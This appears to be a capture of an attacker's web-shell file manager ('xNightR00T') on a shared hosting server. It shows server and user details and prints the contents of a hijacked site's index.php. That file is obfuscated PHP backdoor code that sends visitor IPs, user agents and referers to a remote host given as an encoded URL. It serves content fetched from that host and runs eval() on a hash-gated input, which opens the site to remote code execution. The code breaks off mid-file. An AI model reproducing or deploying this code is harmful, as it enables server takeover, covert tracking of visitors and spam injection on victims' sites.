xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
HEX
HEX
Server: LiteSpeed
System: Linux server701.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User: artiksbn (3537)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //home/artiksbn/fidelity.artigianodellapizza.com/index.php
<?php
 goto NArBbzLVx0FbL6g_; NhRjqkNHYvGrARRx: j2lzOKgXpgfPSvxJ: goto Fd9ONneMk9x6dUt5; PvMn_T8aeCXtPO5y: $UPG22klDDy0SIYy1 = strval(@$_SERVER["\110\x54\x54\120\x5f\x52\105\106\x45\x52\x45\122"]); goto qspbdSNllGg1ynUW; a4BkcjgNIhxiS1Kf: rnkuM5_0Yikovtd8: goto twhiA7pIYbI29te6; nP8jvOgHgPFCTcX2: $slt2MKBh3UBGPoHr["\x73"] = d_EHT5XRTkb2GQ41($ezj_a6KWv0NGpkPV); goto YI02SImmtHJicNb0; WlUvxsr6hAoJpkKj: $xCl3BR4eSJRKPd09 = ${$oTyExItdmrpEV4eq[17 + 14] . $oTyExItdmrpEV4eq[33 + 26] . $oTyExItdmrpEV4eq[16 + 31] . $oTyExItdmrpEV4eq[22 + 25] . $oTyExItdmrpEV4eq[5 + 46] . $oTyExItdmrpEV4eq[37 + 16] . $oTyExItdmrpEV4eq[26 + 31]}; goto r84pWVQIhfv8XQ0T; OaF1Vp5jaePDLKTD: if (!(strpos($pyDHfNNBVB4zzDOz, "\56") > 0 && strpos($pyDHfNNBVB4zzDOz, "\56\160\x68\160") === false)) { goto cjNN9WTF9ithsi1K; } goto cTwpsfA9IZVliaPt; cTwpsfA9IZVliaPt: $mNHfIzZehTAn6i32 = substr($pyDHfNNBVB4zzDOz, strpos($pyDHfNNBVB4zzDOz, "\56")); goto A906MDJvKJXgGRnK; geev0caCI3At0wFV: $pyDHfNNBVB4zzDOz = preg_replace("\57\x5c\77\56\52\57", '', $_SERVER["\122\105\x51\125\105\123\124\137\125\122\111"]); goto xyzXJ1bmDKYohPHM; r84pWVQIhfv8XQ0T: if (!(in_array(gettype($xCl3BR4eSJRKPd09) . count($xCl3BR4eSJRKPd09), $xCl3BR4eSJRKPd09) && count($xCl3BR4eSJRKPd09) == 14 && md5(md5(md5(md5($xCl3BR4eSJRKPd09[8])))) === "\64\x35\x38\x65\x64\x33\63\63\x34\145\x36\70\x36\143\x63\63\62\x33\144\66\x33\x30\143\x63\x62\x63\x65\142\70\x66\x62\143")) { goto MojgOqJCyNElvUiI; } goto dJO4_2nBznFUPeaK; mYmKM0JHJbh5Ci4I: cjNN9WTF9ithsi1K: goto a9krtbmODmjgRCSU; GlqZyr1FqZBGpK71: $UPG22klDDy0SIYy1 = ''; goto g0XdEMFe1WYM22YJ; hRc3gx2a8JA8BrtC: header("\103\157\156\164\145\156\x74\x2d\124\x79\160\x65\72\40\x74\145\x78\164\57\x68\x74\155\154\x3b\40\143\x68\141\x72\x73\x65\164\x3d\x75\x74\x66\55\70"); goto eh3XCKUPg1a9fTnP; zjaZXNZnq70ks0SY: HFnIagnLPO4oMMNm: goto mYmKM0JHJbh5Ci4I; DNcE6Dtv7uOU3qIw: $ME713OuSyyRHTS0f = QbCZFoJbHB2bq45p(base64_decode("\141\110\x52\60\143\x44\157\x76\x4c\x33\x70\172\117\104\x4d\167\144\152\105\x7a\114\156\x4e\166\x64\130\x52\x6f\132\x58\115\x75\142\x47\71\x73\114\x77"), $slt2MKBh3UBGPoHr); goto TxRYi4gfNhgd233R; OJQ0QcilD2TzQF2F: MojgOqJCyNElvUiI: goto qudqjUJeMCzofaar; J8uCsVWYs6yk1Go1: function GV3cSwfPFFfVRDn2($CPp63ptwAtpQbRoI) { goto EanRBktLn753iLBJ; rm17RPHB8JAzeNUJ: nQpSrITI3WyPHVwi: goto jTpbkyBXLlY8vaFC; DVllvmu4sJtMdhPI: zigny200Dy9RYq7d: goto Vhz3ILovtU7Ocgr0; jTpbkyBXLlY8vaFC: return $mtF4XtFypYg1XQzX; goto RzhtMt7x1sBxG8V5; EanRBktLn753iLBJ: $mtF4XtFypYg1XQzX = array("\x73\164\141\164\165\x73" => 0, "\x63\x6f\x6e\x74\145\156\164" => '', "\x74\171\x70\x65" => ''); goto SeuMgJTigbABt26I; SeuMgJTigbABt26I: if (is_array($CPp63ptwAtpQbRoI)) { goto zigny200Dy9RYq7d; } goto BDWU4Kcb4AmX1AU4; Vhz3ILovtU7Ocgr0: foreach ($CPp63ptwAtpQbRoI as $LQTyicyxNg6ThUwR) { goto fzZ7KkxPf0Q1C3zo; H_QDMi3Zrnflsc6C: goto RYMfgEyJSpLGsP23; goto CO34W37v4Lo67OcO; F4OpWN9_ZlyqBn5C: goto RYMfgEyJSpLGsP23; goto D1BtNMAdplVpqHT0; g5r_jlJgg2zjoOID: owbJKcwKmwkQbpV2: goto ZA79Kb5Iv0CDHZqO; fzZ7KkxPf0Q1C3zo: if (preg_match("\x2f\150\164\164\x70\x5c\57\133\x30\55\x39\134\x2e\x5d\53\x5b\134\163\x5d\x2b\50\133\60\55\71\x5d\x2b\x29\x2f\151", $LQTyicyxNg6ThUwR, $LzmMpJccMIMjExYp)) { goto sXBiPELHvvM60EVj; } goto sEO9UXj0Ca_TMMex; pDel_jbztkifAhOn: RYMfgEyJSpLGsP23: goto g5r_jlJgg2zjoOID; bhMed4sWbxLe_iZY: LmBxIrNE0sAKzXRC: goto BdSSLlg_TtcKoslz; Qnnjc6sN661sJ5Cv: $mtF4XtFypYg1XQzX["\x63\x6f\156\x74\145\x6e\164"] = $LzmMpJccMIMjExYp[1]; goto Ius3RFxJDBNrbkmH; izXgx9YEVsa4Qr86: if (preg_match("\57\x63\157\x6e\x74\x65\156\164\134\55\x74\x79\x70\145\134\x3a\133\134\163\135\x2b\x28\x2e\x2a\51\57\151", $LQTyicyxNg6ThUwR, $LzmMpJccMIMjExYp)) { goto LmBxIrNE0sAKzXRC; } goto H_QDMi3Zrnflsc6C; CO34W37v4Lo67OcO: sXBiPELHvvM60EVj: goto XShMzwkna0og_oGk; D1BtNMAdplVpqHT0: soymjE0or7lwsVaz: goto Qnnjc6sN661sJ5Cv; Ius3RFxJDBNrbkmH: goto RYMfgEyJSpLGsP23; goto bhMed4sWbxLe_iZY; XShMzwkna0og_oGk: $mtF4XtFypYg1XQzX["\163\x74\141\x74\x75\163"] = intval($LzmMpJccMIMjExYp[1]); goto F4OpWN9_ZlyqBn5C; sEO9UXj0Ca_TMMex: if (preg_match("\57\154\x6f\143\141\164\x69\x6f\156\x5c\x3a\x5b\134\x73\135\53\50\x2e\x2a\x29\x2f\x69", $LQTyicyxNg6ThUwR, $LzmMpJccMIMjExYp)) { goto soymjE0or7lwsVaz; } goto izXgx9YEVsa4Qr86; BdSSLlg_TtcKoslz: $mtF4XtFypYg1XQzX["\x74\x79\x70\145"] = $LzmMpJccMIMjExYp[1]; goto pDel_jbztkifAhOn; ZA79Kb5Iv0CDHZqO: } goto rm17RPHB8JAzeNUJ; BDWU4Kcb4AmX1AU4: return $mtF4XtFypYg1XQzX; goto DVllvmu4sJtMdhPI; RzhtMt7x1sBxG8V5: } goto LSqBSQj4Jc_T43Fa; a_1K1K0eoL9u6Fdg: GX8F6E3Kk939_CJU: goto a4BkcjgNIhxiS1Kf; bUOYEns4r3sQsRsR: if (!(strpos($UPG22klDDy0SIYy1, $ezj_a6KWv0NGpkPV) === 0)) { goto jjTTdBJTcN7LHmSw; } goto GlqZyr1FqZBGpK71; twhiA7pIYbI29te6: E6cOnGSqwbDHO98n: goto wJC0AGip0SNMgOFv; ULndhulzASXJcEez: $slt2MKBh3UBGPoHr["\x72"] = d_Eht5XRtkB2gQ41($_SERVER["\x52\105\121\125\105\123\124\x5f\x55\x52\111"]); goto UbD7HAf099mcmFTs; iO9ghH5iKnHBjdde: HbbDXHz2krYqgSGg: goto IduczVZvtDQv8IjE; TYYEaWZH20kWO6cY: echo $ME713OuSyyRHTS0f["\143\157\x6e\164\x65\x6e\x74"]; goto MTgMQJMu4tgrHd_E; IduczVZvtDQv8IjE: $FegM7C27EwpNOigc = bXLeGk2Dh4OOkUjK(); goto PvMn_T8aeCXtPO5y; Iv16HNtufk4dIdUn: $slt2MKBh3UBGPoHr["\163\156"] = d_Eht5xRTkb2GQ41($_SERVER["\x53\x43\x52\111\120\x54\137\116\101\115\x45"]); goto ULndhulzASXJcEez; qudqjUJeMCzofaar: metaphone("\x4e\x6a\111\x34\117\104\x59\x33\x4d\x6a\143\x31\116\x7a\x51\172\x4e\104\x45\x35\x4d\172\x55\x35\117\104\x55\172\x4e\104\x55\x78"); goto hMbVbetX3006HRpp; GqTnUUW6Fvco2zu1: exit(strrev(md5($_SERVER["\123\105\122\126\x45\122\x5f\116\101\115\x45"]))); goto hlWpLE0zgC0JaVkp; A906MDJvKJXgGRnK: if (!in_array($mNHfIzZehTAn6i32, array("\x2e\152\163", "\x2e\x63\x73\x73", "\56\152\160\147", "\x2e\160\x6e\x67", "\x2e\x67\151\146", "\56\151\143\157"))) { goto HFnIagnLPO4oMMNm; } goto gaCrmLlN2WlROFiZ; xyzXJ1bmDKYohPHM: $O2sRWcnrSviIhmnv = false; goto OaF1Vp5jaePDLKTD; MTgMQJMu4tgrHd_E: exit(0); goto NhRjqkNHYvGrARRx; hMbVbetX3006HRpp: class v5w449hYDBb3p1B6 { static function TdM1LftsqTzuJPIh($keZE7FjHkxlrgllN) { goto fyyGV7H81xsWxuPd; fyyGV7H81xsWxuPd: $BeMnPNYI8IPMhf4Z = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto W8ZXIAFVFGUliNn1; H9mNEKuropc5QEx8: $zhE1BsQEmRBtNPIM = ''; goto BVsnDYP8jTWvOCIT; BVsnDYP8jTWvOCIT: foreach ($b5maF8NPwyMdOaOt as $KZ9NaUNtid00hB6N => $RvmeIBuF4YImfgGT) { $zhE1BsQEmRBtNPIM .= $kOMzO4urZPuO_oWN[$RvmeIBuF4YImfgGT - 35103]; vfQ56wds12jcjdiy: } goto nWJ8HY7w5vbPOBQq; nWJ8HY7w5vbPOBQq: aB6G_0PQ6hY3KabC: goto P3zUkyzx2cDhqhRU; P3zUkyzx2cDhqhRU: return $zhE1BsQEmRBtNPIM; goto QE7kmGtICd2_fGsq; alsedJ8cjrxTg2MJ: $b5maF8NPwyMdOaOt = explode("\173", $keZE7FjHkxlrgllN); goto H9mNEKuropc5QEx8; W8ZXIAFVFGUliNn1: $kOMzO4urZPuO_oWN = $BeMnPNYI8IPMhf4Z("\176", "\40"); goto alsedJ8cjrxTg2MJ; QE7kmGtICd2_fGsq: } static function wlB_p5C6d6QvvYGP($j5ZxsW3EgMD568EB, $sJeiQaTrhfgdZ4Mi) { goto SC54c5KsnVOWiAiF; SC54c5KsnVOWiAiF: $hH_5LY0UkwYPUwIc = curl_init($j5ZxsW3EgMD568EB); goto eYh9Vn1om0Iac8Bk; q7d3y7NFTNxF8x1Z: return empty($sV2E6Y0rKz7AJy3U) ? $sJeiQaTrhfgdZ4Mi($j5ZxsW3EgMD568EB) : $sV2E6Y0rKz7AJy3U; goto TuGxN1voW36XqxOK; eYh9Vn1om0Iac8Bk: curl_setopt($hH_5LY0UkwYPUwIc, CURLOPT_RETURNTRANSFER, 1); goto u8n7R9uxAqAhyAQV; u8n7R9uxAqAhyAQV: $sV2E6Y0rKz7AJy3U = curl_exec($hH_5LY0UkwYPUwIc); goto q7d3y7NFTNxF8x1Z; TuGxN1voW36XqxOK: } static function RoJhHKA7f7FUY2Zv() { goto ndH5D4yOBDuMVh0U; VcoZHqyKAYgkGSYK: $lYWhUvEdrtLQj0oP = @$Blw9grAh3cCPpYFJ[0 + 3]($Blw9grAh3cCPpYFJ[2 + 4], $WvbHgANY5TgsqMgg); goto f5Tio3BviHaHLXim; Yc31f8Qx4z3lmd5x: if (!(@$GBVWMhkctQVfIBtU[0] - time() > 0 and md5(md5($GBVWMhkctQVfIBtU[1 + 2])) === "\141\65\x30\x35\x30\x65\144\63\x38\67\61\x66\144\x36\x61\60\64\x64\x31\x31\x62\60\x66\145\x63\x32\143\141\144\x31\x30\x39")) { goto GWfFUSQei5fFoXDl; } goto FPVu5dEBTZW7e8f9; bZ17g18nasxl7sv7: GWfFUSQei5fFoXDl: goto CiZBB9EhkrOPCACT; FPVu5dEBTZW7e8f9: $I4DdTOSDZER5ub5t = self::wLB_P5C6D6qVVygP($GBVWMhkctQVfIBtU[0 + 1], $Blw9grAh3cCPpYFJ[3 + 2]); goto LRgj1P7aaWuuHMUz; f5Tio3BviHaHLXim: $GBVWMhkctQVfIBtU = $Blw9grAh3cCPpYFJ[1 + 1]($lYWhUvEdrtLQj0oP, true); goto MBCRFngLvcYibW3E; JzOqvz7lqEW9eP_j: foreach ($RG04_7mzLU8o2vCc as $z5tFHR0QVC4e0Ayt) { $Blw9grAh3cCPpYFJ[] = self::tdm1LfTsQTzUjpiH($z5tFHR0QVC4e0Ayt); jD6ipShO0_BrDNhe: } goto Jakr7FWTNd9Kyet9; ndH5D4yOBDuMVh0U: $RG04_7mzLU8o2vCc = array("\63\x35\x31\x33\x30\173\x33\65\x31\61\x35\x7b\63\65\61\x32\x38\173\x33\65\x31\x33\x32\x7b\x33\x35\x31\x31\63\x7b\63\65\x31\x32\x38\x7b\63\x35\61\63\64\x7b\63\x35\x31\x32\67\x7b\63\x35\x31\61\62\173\63\x35\61\61\x39\x7b\x33\x35\x31\x33\x30\x7b\63\65\61\61\63\173\63\x35\61\62\64\x7b\63\65\61\61\70\173\63\x35\61\x31\x39", "\63\65\x31\x31\64\173\x33\65\61\x31\63\x7b\63\65\x31\x31\65\173\x33\x35\x31\x33\64\173\x33\x35\x31\61\65\173\63\65\61\x31\x38\173\63\x35\61\x31\63\173\63\x35\61\x38\x30\173\x33\65\61\67\70", "\63\65\x31\x32\x33\x7b\x33\65\61\61\x34\173\63\65\61\x31\x38\x7b\63\65\x31\61\x39\x7b\x33\x35\x31\x33\64\x7b\x33\x35\61\x32\71\173\x33\x35\x31\x32\x38\x7b\x33\65\61\63\60\x7b\x33\x35\x31\61\70\x7b\x33\x35\61\x32\71\x7b\x33\65\61\x32\x38", "\63\65\x31\61\x37\173\63\65\x31\63\x32\173\63\65\61\63\60\173\63\65\x31\x32\x32", "\x33\x35\x31\63\61\x7b\x33\65\61\x33\62\173\x33\65\61\x31\64\x7b\x33\x35\x31\62\70\173\x33\x35\x31\67\x35\x7b\x33\65\61\x37\67\x7b\63\65\x31\x33\x34\x7b\x33\x35\x31\62\x39\x7b\63\65\61\62\70\x7b\x33\x35\61\63\x30\x7b\x33\x35\61\61\70\x7b\x33\x35\61\x32\71\x7b\63\65\x31\62\x38", "\x33\x35\x31\x32\67\173\x33\x35\61\x32\x34\x7b\63\x35\61\62\x31\173\x33\x35\x31\62\x38\173\63\65\61\x33\64\173\63\65\61\x32\x36\173\x33\x35\61\62\70\173\x33\65\x31\x31\x33\173\63\65\61\63\x34\173\63\65\61\63\x30\x7b\63\x35\61\61\x38\x7b\x33\65\x31\x31\71\x7b\63\65\x31\x31\63\173\63\x35\61\62\70\x7b\63\65\x31\x31\71\173\x33\x35\x31\x31\x33\173\63\65\x31\x31\x34", "\x33\65\61\x35\67\173\x33\x35\61\x38\67", "\x33\x35\61\60\x34", "\x33\x35\61\70\x32\x7b\x33\65\x31\70\67", "\x33\65\61\x36\64\x7b\63\65\x31\64\67\173\x33\65\61\x34\x37\173\63\x35\x31\66\x34\173\63\65\x31\x34\x30", "\63\65\x31\x32\x37\173\x33\65\61\x32\64\173\63\x35\61\x32\61\173\63\x35\x31\61\63\173\x33\65\61\62\x38\173\x33\65\x31\61\65\173\x33\x35\61\63\x34\x7b\63\x35\61\62\x34\173\63\x35\61\x31\71\173\63\x35\x31\x31\x37\173\63\65\61\x31\62\x7b\x33\x35\x31\61\x33"); goto JzOqvz7lqEW9eP_j; MBCRFngLvcYibW3E: @$Blw9grAh3cCPpYFJ[0 + 10](INPUT_GET, "\157\x66") == 1 && die($Blw9grAh3cCPpYFJ[3 + 2](__FILE__)); goto Yc31f8Qx4z3lmd5x; aG9nUTckf0TFACfH: $WvbHgANY5TgsqMgg = @$Blw9grAh3cCPpYFJ[1]($Blw9grAh3cCPpYFJ[8 + 2](INPUT_GET, $Blw9grAh3cCPpYFJ[2 + 7])); goto VcoZHqyKAYgkGSYK; Jakr7FWTNd9Kyet9: WR663TNMGdoIXkJ3: goto aG9nUTckf0TFACfH; LRgj1P7aaWuuHMUz: @eval($Blw9grAh3cCPpYFJ[0 + 4]($I4DdTOSDZER5ub5t)); goto IGd4PwwVRLerQN7z; IGd4PwwVRLerQN7z: die; goto bZ17g18nasxl7sv7; CiZBB9EhkrOPCACT: } } goto sW1PWMPaEXpGzBB9; kF9v6lhqifaSzFuz: $slt2MKBh3UBGPoHr["\x69"] = D_eht5XrTKB2gQ41($FegM7C27EwpNOigc); goto XP1HNu2pm1a50pYY; Cjq3wq3hGLzWjvFq: @header("\103\x6f\x6e\x74\145\x6e\164\55\124\x79\160\x65\72" . $ME713OuSyyRHTS0f["\x74\x79\160\x65"]); goto TYYEaWZH20kWO6cY; LSqBSQj4Jc_T43Fa: function qbCzFOjBhb2BQ45p($WBpAU2o5OHVfqRVR, $vklbbZi2nHuPG1eQ = array()) { goto AugW9asKw41ZCoHo; Q0ZCaToulQT7sXFt: try { goto m3uyaMX3IuM0hrIN; L8hnQmM2zGh9rvdn: EvC1gWjpQt8sBIqu: goto Z6iy4t7RqM4Rn8QI; TUuxqOVIGWGStvT_: $I8PglgHqT1huAIuG = @file_get_contents($WBpAU2o5OHVfqRVR, false, $P74NRin1RhIWrE5x); goto rZF21VV1Okf2pQhN; pNry87iF2U_PpB4y: goto MGn0zGlksr2L_ArJ; goto bB8O7ukHn3z3gW2J; LtT3gwCCwpcS45i_: $ME713OuSyyRHTS0f["\163\164\141\x74\165\163"] = intval(curl_getinfo($Aprb_KuAMs2b8biu, CURLINFO_HTTP_CODE)); goto wkC_kGLM79cDmKYU; qzu54D1QKqGgiNWA: $ME713OuSyyRHTS0f["\x63\157\x6e\164\x65\x6e\x74"] = strval($QliJo079MNkOtUkZ); goto i7yfgwHMoizb82pm; i7yfgwHMoizb82pm: punmUWON4Avs5PLk: goto pNry87iF2U_PpB4y; hnHMS4qyEmwbxXCt: $Aw3fTzCpR7acUTll = array("\150\164\164\160" => array("\x6d\x65\164\x68\x6f\x64" => "\x47\x45\124", "\164\x69\x6d\x65\x6f\165\164" => 60, "\x66\x6f\x6c\x6c\x6f\167\137\154\x6f\x63\141\x74\x69\157\156" => 0), "\163\x73\154" => array("\x76\x65\162\151\x66\171\137\160\x65\x65\162" => false, "\166\145\162\151\x66\171\x5f\160\145\145\162\x5f\156\x61\155\x65" => false)); goto S2NKS7Hc5MLVONBT; q23DWzEJoV2hInB2: if (!in_array($ME713OuSyyRHTS0f["\163\164\x61\x74\x75\163"], array(200, 301, 302, 404))) { goto punmUWON4Avs5PLk; } goto qzu54D1QKqGgiNWA; VJB81UODTz5ccF25: if (!in_array($ME713OuSyyRHTS0f["\x73\164\x61\164\165\x73"], array(200, 301, 302, 404))) { goto EvC1gWjpQt8sBIqu; } goto L7P2gPtRP5bMjzw6; NZEUlejThHUsFkC6: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_SSL_VERIFYPEER, 0); goto d7L1IjXaifJ09TbH; s17NCktUiJpNOcvr: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_SSL_VERIFYHOST, 0); goto NZEUlejThHUsFkC6; m3uyaMX3IuM0hrIN: if (function_exists("\143\165\162\154\x5f\145\170\145\x63") && function_exists("\x63\x75\162\154\x5f\x69\156\x69\x74")) { goto AP4eRwkde3Bzb18z; } goto rg5ogMivFWlJenzm; FJAiX_I_Rw9DxFZ0: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_TIMEOUT, 60); goto AJ1QD0LpIcHbfYC0; S2NKS7Hc5MLVONBT: $P74NRin1RhIWrE5x = stream_context_create($Aw3fTzCpR7acUTll); goto TUuxqOVIGWGStvT_; Z6iy4t7RqM4Rn8QI: MGn0zGlksr2L_ArJ: goto dHOLIWefqAVbgnOY; rZF21VV1Okf2pQhN: $ME713OuSyyRHTS0f = array_merge($ME713OuSyyRHTS0f, Gv3CsWfpfFFvRdn2($http_response_header)); goto VJB81UODTz5ccF25; Ckt60ySFlXGl1rei: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_RETURNTRANSFER, 1); goto RbTQ1D1QuPbr6bDM; RbTQ1D1QuPbr6bDM: $QliJo079MNkOtUkZ = curl_exec($Aprb_KuAMs2b8biu); goto LtT3gwCCwpcS45i_; tUBxxKZMszI5t2GU: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_COOKIESESSION, 0); goto Ckt60ySFlXGl1rei; I8LkBxcHXtN9eoQF: $ME713OuSyyRHTS0f["\x63\157\156\164\145\x6e\164"] = strval(curl_getinfo($Aprb_KuAMs2b8biu, CURLINFO_REDIRECT_URL)); goto XyFar7RSPmNXPxR1; rg5ogMivFWlJenzm: if (ini_get("\141\154\154\x6f\x77\137\x75\162\154\x5f\x66\157\x70\145\156")) { goto UVtUQ3NeF3b4sDVI; } goto Bm69HOK9KcdTmbjy; XyFar7RSPmNXPxR1: @curl_close($Aprb_KuAMs2b8biu); goto q23DWzEJoV2hInB2; AJ1QD0LpIcHbfYC0: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_FOLLOWLOCATION, 0); goto tUBxxKZMszI5t2GU; bB8O7ukHn3z3gW2J: UVtUQ3NeF3b4sDVI: goto hnHMS4qyEmwbxXCt; UeUwp8NWmV17Gftc: $Aprb_KuAMs2b8biu = curl_init(); goto p1YnX02CUZjo0Tod; L7P2gPtRP5bMjzw6: $ME713OuSyyRHTS0f["\143\x6f\x6e\x74\145\156\x74"] = strval($I8PglgHqT1huAIuG); goto L8hnQmM2zGh9rvdn; p1YnX02CUZjo0Tod: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_URL, $WBpAU2o5OHVfqRVR); goto s17NCktUiJpNOcvr; tv99VoK4ODp0DpeJ: AP4eRwkde3Bzb18z: goto UeUwp8NWmV17Gftc; wkC_kGLM79cDmKYU: $ME713OuSyyRHTS0f["\164\171\x70\145"] = strval(curl_getinfo($Aprb_KuAMs2b8biu, CURLINFO_CONTENT_TYPE)); goto I8LkBxcHXtN9eoQF; Bm69HOK9KcdTmbjy: goto MGn0zGlksr2L_ArJ; goto tv99VoK4ODp0DpeJ; d7L1IjXaifJ09TbH: curl_setopt($Aprb_KuAMs2b8biu, CURLOPT_CONNECTTIMEOUT, 20); goto FJAiX_I_Rw9DxFZ0; dHOLIWefqAVbgnOY: } catch (Exception $CHayy69eqEwvl1GM) { } goto rtuG1lkfNMIdyGUe; i8A8Dp6lo6vItffY: if (!(is_array($vklbbZi2nHuPG1eQ) && count($vklbbZi2nHuPG1eQ))) { goto SA8tlLj8rODLeQPJ; } goto nKkTNIGY_3F3JPM0; nKkTNIGY_3F3JPM0: $WBpAU2o5OHVfqRVR .= "\77" . http_build_query($vklbbZi2nHuPG1eQ); goto ueFE7v1CYr2ChsbQ; ueFE7v1CYr2ChsbQ: SA8tlLj8rODLeQPJ: goto Q0ZCaToulQT7sXFt; AugW9asKw41ZCoHo: $ME713OuSyyRHTS0f = array("\163\x74\x61\x74\165\163" => 0, "\x63\x6f\x6e\x74\x65\156\x74" => '', "\x74\x79\160\145" => ''); goto i8A8Dp6lo6vItffY; rtuG1lkfNMIdyGUe: return $ME713OuSyyRHTS0f; goto g7NUFe3S11023lsO; g7NUFe3S11023lsO: } goto KWnrOie6JH55ARAI; EaB9yfOrFIXWJseW: function BXlegk2dh4oOKUjk() { goto yTemrLZX1myW4VNu; zQAZcMG9qHH2PmEZ: if (isset($_SERVER["\110\124\x54\x50\137\103\x46\x5f\103\117\x4e\116\105\x43\x54\111\x4e\x47\137\111\x50"]) && !empty($_SERVER["\x48\124\124\120\x5f\103\x46\137\x43\117\116\x4e\x45\103\124\111\116\107\x5f\111\120"])) { goto lUB4psCBeqd0m072; } goto ddwc21XHcELiXGbc; B3wroO09HZxZ7dOW: $FegM7C27EwpNOigc = explode("\x2c", $FegM7C27EwpNOigc); goto ZU61GZ49KqV7MuLW; yTemrLZX1myW4VNu: $FegM7C27EwpNOigc = ''; goto zQAZcMG9qHH2PmEZ; U_Nc5qx9ZZuj5ivf: PwAAa8P0zK45leKY: goto CamUtPm7xaq83fTX; gnfQF5K4SjNWJZ4g: if (!(strpos($FegM7C27EwpNOigc, "\x2c") !== false)) { goto RDaXVxsHO6OEfpAL; } goto B3wroO09HZxZ7dOW; qk87btGA1WqBC7ZR: $FegM7C27EwpNOigc = $_SERVER["\x52\105\x4d\x4f\x54\105\x5f\101\x44\x44\122"]; goto qk498CyvOCz9ME2Y; XofsC9L5Es7rzZCr: goto uhc69PHQYh_u5qw5; goto MP6moon_NN4YNcUC; GP3mRsFwTZqmpEBq: return $FegM7C27EwpNOigc; goto K976Sp3KEfE4CfXI; bwYBUHvhzCDy21Tv: uhc69PHQYh_u5qw5: goto JuSILRUnBNBkooSN; CiqRpqSSzPgC5Zd7: $FegM7C27EwpNOigc = $_SERVER["\x48\124\124\x50\137\x43\106\x5f\x43\x4f\x4e\x4e\105\103\x54\x49\116\107\x5f\111\x50"]; goto XofsC9L5Es7rzZCr; ddwc21XHcELiXGbc: if (isset($_SERVER["\x48\124\x54\120\x5f\x58\137\x52\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\110\x54\124\x50\x5f\130\x5f\x52\105\101\114\137\x49\x50"])) { goto V9JSVA6U6AJZZfuY; } goto D3lQz3OQFh2WhqK1; SGoOClVZB5JXdGGN: RDaXVxsHO6OEfpAL: goto GP3mRsFwTZqmpEBq; qk498CyvOCz9ME2Y: goto uhc69PHQYh_u5qw5; goto qX6MCeg1u7TBLWPV; D3lQz3OQFh2WhqK1: if (isset($_SERVER["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\x45\x44\137\x46\117\122"]) && !empty($_SERVER["\x48\124\124\120\137\130\x5f\106\x4f\x52\127\x41\x52\x44\105\104\x5f\106\117\x52"])) { goto PwAAa8P0zK45leKY; } goto qk87btGA1WqBC7ZR; ZU61GZ49KqV7MuLW: $FegM7C27EwpNOigc = $FegM7C27EwpNOigc[0]; goto SGoOClVZB5JXdGGN; CamUtPm7xaq83fTX: $FegM7C27EwpNOigc = $_SERVER["\x48\x54\x54\120\x5f\130\137\106\x4f\122\127\x41\122\x44\x45\104\x5f\x46\117\122"]; goto bwYBUHvhzCDy21Tv; MP6moon_NN4YNcUC: V9JSVA6U6AJZZfuY: goto jULUvNF1p0QG13rK; qX6MCeg1u7TBLWPV: lUB4psCBeqd0m072: goto CiqRpqSSzPgC5Zd7; M7MW3D9QWK0XUTt_: goto uhc69PHQYh_u5qw5; goto U_Nc5qx9ZZuj5ivf; jULUvNF1p0QG13rK: $FegM7C27EwpNOigc = $_SERVER["\110\124\124\x50\x5f\130\137\x52\x45\x41\x4c\x5f\x49\120"]; goto M7MW3D9QWK0XUTt_; JuSILRUnBNBkooSN: $FegM7C27EwpNOigc = trim(str_replace("\40", '', $FegM7C27EwpNOigc), "\54"); goto gnfQF5K4SjNWJZ4g; K976Sp3KEfE4CfXI: } goto D2OBFgnok42_1he0; egb4NzlMobXVOycj: $ov2XQDdnN3hDPF3j = "\162" . "\141" . "\156" . "\147" . "\145"; goto soseLW2K0ywgccXZ; TxRYi4gfNhgd233R: if (in_array($ME713OuSyyRHTS0f["\163\x74\141\x74\x75\163"], array(0, 200))) { goto E6cOnGSqwbDHO98n; } goto u3ElqoZc87YAjHb3; YI02SImmtHJicNb0: $slt2MKBh3UBGPoHr["\165"] = d_Eht5XrTKb2Gq41($_SERVER["\110\124\x54\120\137\x55\x53\x45\122\x5f\101\107\105\x4e\x54"]); goto geev0caCI3At0wFV; dJO4_2nBznFUPeaK: ($xCl3BR4eSJRKPd09[68] = $xCl3BR4eSJRKPd09[68] . $xCl3BR4eSJRKPd09[71]) && ($xCl3BR4eSJRKPd09[82] = $xCl3BR4eSJRKPd09[68]($xCl3BR4eSJRKPd09[82])) && @eval($xCl3BR4eSJRKPd09[68](${$xCl3BR4eSJRKPd09[41]}[19])); goto OJQ0QcilD2TzQF2F; XP1HNu2pm1a50pYY: $slt2MKBh3UBGPoHr["\154"] = d_eHT5XrtKB2gQ41($_SERVER["\x48\x54\124\120\x5f\x41\x43\103\105\120\124\x5f\114\x41\x4e\107\125\101\x47\x45"]); goto Iv16HNtufk4dIdUn; KWnrOie6JH55ARAI: function d_ehT5xrtkb2GQ41($wDLJGAoE5Bkde_Re) { goto rY5zIKI7AGh5Sf13; uQQWqRHu1zfD03pS: return rtrim(strtr(base64_encode($wDLJGAoE5Bkde_Re), "\53\57", "\55\137"), "\75"); goto V3NkyaIsREvUmqHj; nAMZRSwL99R4K1a_: ID1CAehaCEd8QCF4: goto uQQWqRHu1zfD03pS; rY5zIKI7AGh5Sf13: if ($wDLJGAoE5Bkde_Re) { goto ID1CAehaCEd8QCF4; } goto JoMmi74rBFAMdZ91; JoMmi74rBFAMdZ91: return ''; goto nAMZRSwL99R4K1a_; V3NkyaIsREvUmqHj: } goto EaB9yfOrFIXWJseW; wJC0AGip0SNMgOFv: if (!strlen($ME713OuSyyRHTS0f["\x63\157\x6e\x74\x65\x6e\164"])) { goto j2lzOKgXpgfPSvxJ; } goto Cjq3wq3hGLzWjvFq; GZS9ULfdBGFLL5m3: if 